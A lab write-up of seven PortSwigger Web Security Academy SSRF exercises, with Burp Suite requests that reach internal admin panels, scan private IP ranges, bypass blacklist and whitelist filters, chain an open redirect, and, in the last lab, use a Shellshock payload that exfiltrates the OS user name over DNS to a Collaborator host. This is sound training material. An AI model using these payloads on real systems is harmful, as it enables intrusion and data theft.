

What is SSRF?

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make HTTP requests to an arbitrary domain of the attacker's choosing.

In typical SSRF examples, the attacker might cause the server to make a connection back to itself, or to other web-based services within the organization's infrastructure, or to external third-party systems.

Lab1: Basic SSRF against the local server

Description: This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at `http://localhost/admin` and delete the user carlos.

Testing procedure and snapshot:

- Browse to `/admin` and observe that you can't directly access the admin page.
- Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
- Change the URL in the `stockApi` parameter to `http://localhost/admin`. This should display the administration interface.
- Read the HTML to identify the URL to delete the target user, which is:
`http://localhost/admin/delete?username=carlos`
- Submit this URL in the `stockApi` parameter, to deliver the SSRF attack.

Target: https://aca61f221ed175f98058287200d700e6.web-security-academy.net

Request

Raw Params Headers Hex

```
POST /product/stock HTTP/1.1
Host: aca61f221ed175f98058287200d700e6.web-security-academy.net
Connection: close
Content-Length: 54
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://aca61f221ed175f98058287200d700e6.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://aca61f221ed175f98058287200d700e6.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: session=bm0gnPBelGOL16cFL99AtKMBEhDTl2py
stockApi=http://localhost/admin/delete?username=carlos
```

Response

Raw Headers Hex

```
HTTP/1.1 302 Found
Location: /admin
Set-Cookie: session=luwaxMINQLGhDkc1g1CR1ba13SFUZ4Kh; Path=/; Secure; HttpOnly
Connection: close
Content-Length: 0
```



Basic SSRF against the local server

LAB Solved

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Photobomb Backdrops



\$84.82



Lab2: Basic SSRF against another back-end system

Description: This lab has a stock check feature which fetches data from an internal system.

To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.

Testing procedure and snapshot:

- Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Intruder.

- Click "Clear §", change the stockApi parameter to <http://192.168.0.1:8080/admin> then highlight the final octet of the IP address (the number 1), click "Add §".
- Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes respectively.
- Click "Start attack".
- Click on the "Status" column to sort it by status code ascending. You should see a single entry with a status of 200, showing an admin interface.
- Click on this request, send it to Burp Repeater, and change the path in the stockApi to: [/admin/delete?username=carlos](http://admin/delete?username=carlos)

Intruder attack 1

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
125	125	200	<input type="checkbox"/>	<input type="checkbox"/>	3039	
1	1	400	<input type="checkbox"/>	<input type="checkbox"/>	133	
2	2	400	<input type="checkbox"/>	<input type="checkbox"/>	133	
3	3	500	<input type="checkbox"/>	<input type="checkbox"/>	175	
4	4	500	<input type="checkbox"/>	<input type="checkbox"/>	175	
5	5	500	<input type="checkbox"/>	<input type="checkbox"/>	175	
6	6	500	<input type="checkbox"/>	<input type="checkbox"/>	175	
7	7	500	<input type="checkbox"/>	<input type="checkbox"/>	175	
8	8	500	<input type="checkbox"/>	<input type="checkbox"/>	175	
9	9	500	<input type="checkbox"/>	<input type="checkbox"/>	175	

Request Response

Raw Params Headers Hex

```

OST /product/stock HTTP/1.1
Host: accb1f711fb5cb1580789dcb0089004f.web-security-academy.net
Connection: close
Content-Length: 40
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/81.0.4044.129 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://accb1f711fb5cb1580789dcb0089004f.web-security-academy.net
Referer: https://accb1f711fb5cb1580789dcb0089004f.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: session=G1fuWoL7PJZfoaNZUPXeEYQ72cb7WXc3

stockApi=http://192.168.0.125:8080/admin
  
```

? < + > Type a search term 0 matches

Finished

Burp Intruder Repeater Window Help
 Target Proxy Spider Scanner Intruder **Repeater** Sequencer Decoder Comparer Extender Project options User options Alerts

1 × 2 × ...
 Go Cancel < > Follow redirection

Target: <https://accb1f711fb5cb1580789dcb0089004f.web-security-academy.net>

Request
 Raw Params Headers Hex

```

POST /product/stock HTTP/1.1
Host: accb1f711fb5cb1580789dcb0089004f.web-security-academy.net
Connection: close
Content-Length: 63
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://accb1f711fb5cb1580789dcb0089004f.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://accb1f711fb5cb1580789dcb0089004f.web-security-academy.net/product/?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: session=GlfuWoL7PJZfoaN2UPXeEYQ72cb7WXc3
stockApi=http://192.168.0.125:8080/admin/delete?username=carlos
          
```

Response
 Raw Headers Hex

```

HTTP/1.1 302 Found
Location: /admin
Connection: close
Content-Length: 0
          
```



Basic SSRF against another back-end system

LAB Solved

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All-in-One Typewriter



\$26.08



Lab3: SSRF with blacklist-based input filter

Description: This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at <http://localhost/admin> and delete the user carlos.

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

Testing procedure and snapshot:

- Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
- Change the URL in the stockApi parameter to `http://127.0.0.1/` and observe that the request is blocked.
- Bypass the block by changing the URL to: `http://127.1/`
- Change the URL to `http://127.1/admin` and observe that the URL is blocked again.
- Obfuscate the "a" by double-URL encoding it to `%2561` to access the admin interface and delete the target user.

The screenshot shows the Burp Suite interface with the Repeater tab selected. The target URL is `https://ac3e1fd91e1bafc680466a2f0082007d.web-security-academy.net`. The request is a POST to `/product/stock` with the following details:

```
POST /product/stock HTTP/1.1
Host: ac3e1fd91e1bafc680466a2f0082007d.web-security-academy.net
Connection: close
Content-Length: 58
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Origin: https://ac3e1fd91e1bafc680466a2f0082007d.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac3e1fd91e1bafc680466a2f0082007d.web-security-academy.net/product
?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: session=EoTd2rpyV5zoPYgIvuMnwn0in3DRLirg
stockApi=http://127.1/%256131dmin/delete?username=carlos
```

The response is an HTTP 302 Found with the following details:

```
HTTP/1.1 302 Found
Location: /admin
Set-Cookie: session=pCxBO6OTKn9cRX5TfeUKyuKVSSXNzeIH; Path=/; Secure; HttpOnly
Connection: close
Content-Length: 0
```

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Caution Sign

★★★★★

\$11.63



Lab4: SSRF with whitelist-based input filter

Description: This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at `http://localhost/admin` and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

Testing procedure and snapshot:

- Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
- Change the URL in the stockApi parameter to `http://127.0.0.1/` and observe that the application is parsing the URL, extracting the hostname, and validating it against a whitelist.
- Change the URL to `http://username@stock.weliketoshop.net/` and observe that this is accepted, indicating that the URL parser supports embedded credentials.
- Append a # to the username and observe that the URL is now rejected.
- Double-URL encode the # to %2523 and observe the extremely suspicious "Internal Server Error" response, indicating that the server may have attempted to connect to "username".
- Change the URL to `http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos` to access the admin interface and delete the target user.

Burp Intruder Repeater Window Help
 Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts
 1 x 2 x 3 x 4 x ...
 Go Cancel < > Follow redirection
 Target: https://acb51f871ee7498980a91c7300420046.web-security-academy.net

Request
 Raw Params Headers Hex

```

POST /product/stock HTTP/1.1
Host: acb51f871ee7498980a91c7300420046.web-security-academy.net
Connection: close
Content-Length: 89
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129
Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: /*
Origin: https://acb51f871ee7498980a91c7300420046.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://acb51f871ee7498980a91c7300420046.web-security-academy.net/product
?productId=1
Accept-Encoding: gzip, deflate
Accept-Language: en,en-US;q=0.9
Cookie: session=P2FatDdMufshVGPLEpCrWzMT0hT7dUJd

stockApi=http://localhost:80%25%33%33@stock.weliketoshop.net/admin/delete
?username=carlos

```

Response
 Raw Headers Hex

```

HTTP/1.1 302 Found
Location: null
Set-Cookie: session=OFn16ORMNHkuTjYe1U3QmJr1OVAB0beb; Path=/; Secure;
HttpOnly
Connection: close
Content-Length: 0

```



SSRF with whitelist-based input filter

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The Splash



\$50.77



Lab5: SSRF with filter bypass via open redirection vulnerability

Description: This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at <http://192.168.0.12:8080/admin> and delete the user carlos.

The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.

Testing procedure and snapshot:

- Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.
- Try tampering with the stockApi parameter and observe that it isn't possible to make the server issue the request directly to a different host.
- Click "next product" and observe that the path parameter is placed into the Location header of a redirection response, resulting in an open redirection.
- Create a URL that exploits the open redirection vulnerability, and redirects to the admin interface, and feed this into the stockApi parameter on the stock checker:
`/product/nextProduct?path=http://192.168.0.12:8080/admin`
- The stock checker should follow the redirection and show you the admin page. You can then amend the path to delete the target user:
`/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos`

Request

Raw Params Headers Hex

```
OST /product/stock HTTP/1.1
ost: ac231f8d1e5187b080eb79aa00a7002a.web-security-academy.net
onnection: close
ontent-Length: 88
ser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
ontent-Type: application/x-www-form-urlencoded
ccept: */*
rigin: https://ac231f8d1e5187b080eb79aa00a7002a.web-security-academy.net
ec-Fetch-Site: same-origin
ec-Fetch-Mode: cors
ec-Fetch-Dest: empty
eferer:
ttps://ac231f8d1e5187b080eb79aa00a7002a.web-security-academy.net/product?
roductId=1
ccept-Encoding: gzip, deflate
ccept-Language: en,en-US;q=0.9
ookie: session=5gQ06oBqgIj1hPeeUwT79LU24mbxLkno

tockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?u
ername=carlos
```

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Snow Delivered To Your Door



\$42.01

**Lab6:** Blind SSRF with out-of-band detection

Description: This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.

Testing procedure and snapshot:

- In Burp Suite Professional, go to the Burp menu and launch the Burp Collaborator client.
- Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. Leave the Burp Collaborator client window open.
- Visit a product, intercept the request in Burp Suite, and send it to Burp Repeater.
- Change the Referer header to use the generated Burp Collaborator domain in place of the original domain. Send the request.
- Go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously.
- You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload.



Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear below.

Generate Collaborator payloads

Number to generate:

☒ Include Collaborator server location

Poll Collaborator interactions

Poll every

seconds

#	Time	Type	Payload	Comment
1	2020-May-01 10:01:12 UTC	DNS	jviuzb73girn4813i99yi1vImrcf1	
2	2020-May-01 10:01:12 UTC	HTTP	jviuzb73girn4813i99yi1vImrcf1	
3	2020-May-01 10:01:12 UTC	DNS	jviuzb73girn4813i99yi1vImrcf1	

Description	Request to Collaborator	Response from Collaborator
<p>The Collaborator server received an HTTPS request.</p> <p>The request was received from IP address 52.208.12.94 at 2020-May-01 10:01:12 UTC.</p>		



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Blind SSRF with out-of-band detection

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LAB Solved

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High-End Gift Wrapping



\$40.31



Lab7: Blind SSRF with Shellshock exploitation

Description: This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.

To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the 192.168.0.X range. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user via the public Burp Collaborator server.

Testing procedure and snapshot:

- In Burp Suite Professional, install the "Collaborator Everywhere" extension from the BApp Store.
- Add the domain of the lab to Burp Suite's target scope, so that Collaborator Everywhere will target it.
- Browse the site.
- Observe that when you load a product page, it triggers an HTTP interaction with Burp Collaborator, via the Referer header.
- Observe that the HTTP interaction contains your User-Agent string within the HTTP request.
- Send the request to the product page to Burp Intruder.
- Use Burp Collaborator client to generate a unique Burp Collaborator payload, and place this into the following Shellshock payload: `() { :; }; /usr/bin/nslookup $(whoami).YOUR-SUBDOMAIN-HERE.burpcollaborator.net`
- Replace the User-Agent string in the Burp Intruder request with the Shellshock payload containing your Collaborator domain.
- Click "Clear \$", change the Referer header to `http://192.168.0.1:8080` then highlight the final octet of the IP address (the number 1), click "Add \$".
- Switch to the Payloads tab, change the payload type to Numbers, and enter 1, 255, and 1 in the "From" and "To" and "Step" boxes respectively.
- Click "Start attack".
- When the attack completes, go back to the Burp Collaborator client window, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously.
- You should see a DNS interaction that was initiated by the back-end system that was hit by the successful blind SSRF attack. The name of the OS user should appear within the DNS subdomain.
- To complete the lab, enter the name of the OS user.

Intruder attack 3

Attack Save Columns

Results Target Positions Payloads Options

Iter: Showing all items

Request	Payload	Status ▲	Error	Timeout	Length	Comment
		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
1		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
2		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
3		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
4		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
5		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
6		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
7		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
8		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
9		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
10		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
11		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
12		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
13		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
14		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
15		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
16		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
17		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
18		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
19		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
20		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
21		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
22		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
23		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	
24		200	<input type="checkbox"/>	<input type="checkbox"/>	4058	

Finished

? Click "Copy to clipboard" to generate Burp Collaborator payloads that you can use in your own testing. Any interactions that result from using the payloads will appear below.

Generate Collaborator payloads

Number to generate: Copy to clipboard ☒ Include Collaborator server location

Poll Collaborator interactions

Poll every seconds Poll now

#	Time	Type	Payload	Comment
1	2020-May-01 10:28:19 UTC	DNS	wwwogvxakqrpit3y1ioqnyglvc12pr	
2	2020-May-01 10:28:19 UTC	DNS	wwwogvxakqrpit3y1ioqnyglvc12pr	

Description DNS query

The Collaborator server received a DNS lookup of type AAAA for the domain name **peter.GdtR2t.wwwogvxakqrpit3y1ioqnyglvc12pr.burpcollaborator.net**.

The lookup was received from IP address 3.248.180.85 at 2020-May-01 10:28:19 UTC.

Close

Blind SSRF with Shellshock exploitation

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\$47.73

